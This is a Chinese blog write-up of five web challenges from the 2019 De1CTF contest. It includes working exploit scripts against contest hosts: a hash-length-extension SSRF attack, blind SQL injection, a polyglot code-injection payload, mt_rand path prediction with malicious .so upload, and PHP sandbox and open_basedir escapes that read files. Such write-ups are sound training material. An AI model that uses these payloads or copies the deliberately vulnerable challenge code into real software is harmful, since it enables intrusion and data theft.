sky's blog

2019 De1CTF Writeup

字数统计: 2,304阅读时长: 12 min
2019/08/03 Share

前言

为了去重庆XCTF Final吃火锅,周末就冲了一下De1CTF,以下是本次比赛Web题解。

SSRF Me

拿到题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

观察一下,发现就是个比较裸的SSRF:

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

然后waf如下:

1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

同时结合题目告诉我们flag位置:

1
hint for [SSRF Me]: flag is in ./flag.txt

那么显然只要能任意文件读取,bypass file过滤即可,这里容易想到可以使用local_file:

但是我们发现想要利用scan,要先bypass签名校验:

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

我们跟进getSign():

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

而salt我们知道:

1
secert_key = os.urandom(16)

所以这明显是一个已知salt长度的hash长度拓展攻击的问题,那么很容易写出脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashpumpy
import requests
import urllib

url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print r.content

9calc

第3次calcalcalc了,不想再分析了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
# flag1 js
# chr(j),i,chr(j)
data1 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && require('fs').readFileSync('/flag').toString()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag2 python
# i,chr(j),chr(j)
data2 = r'''{"expression":{"value":"1//1 and open('/flag').read()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag3 php
# chr(j),chr(j),i
data3 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".file_get_contents(\"/flag\")[%s];')\n","_bsontype":"Symbol"},"isVip":true}'''

header = {
"Content-Type":"application/json"
}
url = "http://45.77.242.16/calculate"
res = ''
for i in range(0,20):
print i
for j in range(32,127):
# now_data = data1%(chr(j),i,chr(j))
# now_data = data2%(i,chr(j),chr(j))
now_data = data3%(chr(j),chr(j),i)
r = requests.post(url,data=now_data,headers=header)
if 'ret' in r.content:
res+=chr(j)
print res
break




可以得到flag:

1
de1ctf{i_hate_bunkatsu_soho}

ShellShellShell

这题有点无语,第一层是N1CTF的题,参考如下链接:

1
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

这题再简单说一下思路吧:
1.注入得到管理员密码
2.soapclient发起ssrf
3.进行CRLF头注入登录
4.拿到admin session
我们直接用上述链接中的脚本:
首先生成验证码映射关系:

然后是注入密码:


最后是SSRF拿到admin session:


然后是一个裸上传:

同时提醒我们flag在内网,这里的上传没任何过滤,随便传个小马即可RCE,然后上传代理,扫描内网,得到题目ip:

1
2
3
4
5
6
7
Nmap scan report for 172.18.0.1
Host is up (0.00031s latency).
Nmap scan report for dockerdir_getshell_1.dockerdir_default (172.18.0.2)
Host is up (0.00022s latency).
Nmap scan report for 29e2e46b7ac1 (172.18.0.3)
Host is up (0.00015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.91 seconds

访问172.18.0.2,得到源码如下:

然后发现似曾相识= =:

那么就用这篇Blog的方式可以轻松解决:

1
https://skysec.top/2018/11/04/2018%E4%B8%8A%E6%B5%B7%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-web/#web3

cloudmusic_rev

看到是2.0版本,本能搜了一下,发现是2019国赛final的题目,题解如下:

1
https://github.com/impakho/ciscn2019_final_web1

按照题解思路,可以迅速拿到/lib/parser.so文件:

尝试读取.php的时候,发现有过滤:

但可以用%2e url编码进行绕过:

那么读取关键文件进行diff:
upload.php

利用原题解中的方式进行password leak,发现代码有改变,简单分析发现是off by null,构造:

即可leak password:

1
2
admin
22Z2teQgmmLQJLjD

接着diff firmware.php:


发现在firmware中,文件名称做了改动,拼接字符串变成了remote_addr,并且在后面回显版本号的时候,去掉了回显。
也就是说,这道题只能盲打了:

不会再如上图打印执行命令结果了。
按照原题的思路,我们使用如下命令去getflag:

1
/usr/bin/tac /flag

但是考虑到不能回显,于是我们构造curl带出,编写相应的文件:

预测文件path:

1
2
3
4
5
6
7
<?php
$seed = strtotime("Sun, 04 Aug 2019 07:16:55 GMT");
for($i=-50;$i<50;$i++)
{
mt_srand($seed+$i);
echo md5(mt_rand()."202.120.234.54")."','";
}

fuzz目录与上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = 'http://139.180.144.87:9090/hotload.php?page=firmware'
cookies = {
'PHPSESSID':'0khipdkurln3q6a4tli9t7v38o'
}

def upload():
f = open('exp.so','rb')
firmware = f.read()
files = {'file_data': firmware}
data = {'file_id': '0'}
r = requests.post(url=url, data=data, files=files,cookies=cookies)
if '"status":1' in r.content:
return r.headers

def fuzz_path(path):
data = {
'path':path
}
r = requests.post(url=url, data=data, cookies=cookies)
print r.content
if 'loading firmware' in r.content:
print path

r = upload()
print r
seed_list = ['8674e9e3b1f875549154d6e67275f996','df6dfa987283ffb730857170b5d43128','541c571155c89cd4e183b4b17cb15f58','6ec428a2d4228ef2378d38e0902cb8ab','e1badd072582c8e7aae04c3ee7e77dae','539276560804530afc08eb2499e0b865','6a2bd9ce496568d210e0a9c0d25b4dfb','c18761d54636950afddf19841d7d89b0','5e40c2d36b72330faec9ae8cc8728365','e5fdd8f158a6953e088abc2915ab211a','1d1952993a48af0128eaf6da5f32676b','9a189fabc6147d2f894468a657edf5b9','d255c575bf2b8d2af0f44f520a09369b','0a056867908b10edff7fc312d4798622','e537949893013ab3163806171bae5735','13f95e9313bfe44e8f80fa42980c1bc3','8aad66d7c84981b96d31760027c4ccd1','b47097b9846a8c83499d4342de33db31','82f720249f5b6c1c9faffc7a5ec93ebc','611c45a5ff023134e3034d1fd6de2248','04491f0cc963af38fac5752070608a34','8de0681a471bfb5868a843fa489864a3','83ffca4f8f927a2d4615e677b2b4b44c','55d9cbcf35c57ffb7dbc10a91490fe59','f38692e68e3628541adb02f4688804d1','19baad3d00d52e65f80a8593b4ba255d','1e4355a0829c2c740fa71ec49c8fa02a','8eb1d6fdc6bf3c774cddc76ab3868fb1','0e6d3172d8be061d7a4abf3e167574be','c7dc7167891bfa24d8e68fae459b643e','7d272df00c853691d3fcac63df650984','dcc78a64935d765ccda0813173a2cd16','f3ec93c54a6ca1719a467fade49ee233','f4974c648bead1faaca6f8fe38dcd3f2','519886b669fef5706ff30dd95ca48997','3db6f01c8d159dba6356ce0c2e337f30','502d5dc2723468c378d721bb1e868191','fa1df40a8ac9d237955d3e4c22cb4b45','04e0c4e04a675b45fad3ffaddfd9040c','efcbd1b16518f2bf91b958af269c030b','9409d27de31a6dd2550f8b9e1ae3aba9','6743ff069733273efa1cd624e431983e','92aa4fe93a448a1677d9782e5f81e62d','d309f564f9e116b1a69555d0f9fef3a8','1a16f4e59332688eea6e28677d5ac141','700cb511e95356b8b2877b79d01ad054','b3d8b293864a1621d889daca93bb4812','6b7d6adab9ed716b013f8fcc027bf314','ad689aa5e736a5b16564534e5b890e1f','f53152e6de1c50be961696c529872313','38e397ff4154ca8b1574d6f6c15f860e','0b800d7e01ee2bfe9cd7c3a113127ca0','856500703f201b2b2391ad11a764dc7e','88a7336ae95aa16de1c1104fb4f21b8a','f6c4c31982540d11a4885689b97cf3a4','99db02fc851509e4b32e74837d6016dd','bf63960fa6f4a4a08a33f9ce403c4fba','5910dd2743cc3b62e9ca4a4f5158b192','311b24e5788e747db2e479f7e22b7873','8322ab2861f27f19544f095978096f89','8bbe576e9e77d23631303ea2a04945e2','30c3afeed3110d63a9b9655ad85798a4','fab6fb7271b1e19ef47cd106df0df361','8fb438550190c9739d0f00e8cfcd9bd3','f4160f3b5400f9aeb03ffbcd3223af1b','240716ddb36b83dfe6d898ff3bfbe59b','8df5da70fa1004206502c60bb00b188d','513154bb13bbcd82fae47c9163c834cb','248a1a48cc311247505ad4e366c17913','57ee7af50ab35086d89ed3812cc4b922','56d1ae03f68465af760bebe3293d3f96','750d7d5423b613fbc8e9a20cc096a9c2','e722b86026e105dc33f568cbf65c8dc2','58e951f616b7828781abd35aaf3c2fad','6f940887eccffea62552d9d1579c34fe','cc615bb9a427a545bfb4c5aa6bb7e873','67a38d3d9f9a83300a31078a84e7bc6b','abb9c0849d11bd316db61bbef5de2522','3730b7a1430756cf80ef2ed80f334a3d','8129b4b2bb3cbe6f5cb7f4879267460b','f4c1d2ac6dc6369c828a8b2c6e4b8b6e','eec7163c18052f4d2844fc8a55200882','6715685e28f1da676cb6baa2da283ee5','5171458efb3e8fe0b6451d92022985c5','066253bcf4518a1ae34b5a6087547b3f','bc473690484a0e4095ff4861b865bf5d','87d32b90d517565857180baf8f78e67b','eab88164ddeffdf69450a1c8f63d2745','daa626adb92cc1676f5b361e39f2e300','c87a4851696eba43b471792cd7faa13d','399200ad28d61daf4b38309ed5f5f4ac','b75c53b9d349003f7dc5c04b00231184','4d8b7016cd85b5170bc1e2e9ee52ee71','8b844fa17339dcccb9ee471078fec5f2','91dfa5f1c6da365f7c6238713988c48b','1147948d33ade9b9dab90c313a8fd519','4363f8a2d8118f65a8e8311296246393','48bcc07d28e368d7d8d9798369398312','2a205e44d4222bdded0369b0623cad85','8101cc7c376b9404ad99c2a2b41d236c']
for i in seed_list:
fuzz_path(i)

爆破一轮后,成功获得path,拿到flag:

Giftbox

题目拿到后,发现会往shell.php发ajax请求,并带有随机数,同时观察命令:

发现有login,于是发现注入,写出脚本注出密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
async function ajax(username) {
return new Promise(function (resolve, reject) {
let ajaxSetting = {
url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`,
type: "GET",
Type: 'json',
success: function (response) {
resolve(response);
},
error: function () {
reject("请求失败");
}
}
$.ajax(ajaxSetting);

});
}
async function test(username) {
const res = await ajax(username);
return res.message
}


async function blind() {
let ret = ""

for(let j = 1; j < 100; j++) {
for(let i = 0x20; i < 0x7f; i++) {
//表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`)
//列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`)
const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`);
if(message == 'login fail, password incorrect.') {
ret += String.fromCharCode(i);
console.log(ret)
break;
}
}
console.log(`${j}: ${ret}`)
}
return ret;
}

密码为:

1
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}


发现就是eval的sandbox逃逸,而测试发现,过滤了大量的特殊符号,但可利用trick,如下:

同时花括号可以代替中括号:

1
$_GET[sky]  =  $_GET{sky}

那么可以构造出如下exp:

1
2
3
4
targeting a _GET
targeting b sky
targeting c {${$a}{$b}}
targeting d ${eval($c)}

然后发包的时候带上sky参数即可RCE:

1
launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('/*'));")


1
launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(readfile('/flag'));")

后记

De1CTF的Web还是比较简单的,如果有更多解法请留言交流~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. SSRF Me
  3. 3. 9calc
  4. 4. ShellShellShell
  5. 5. cloudmusic_rev
  6. 6. Giftbox
  7. 7. 后记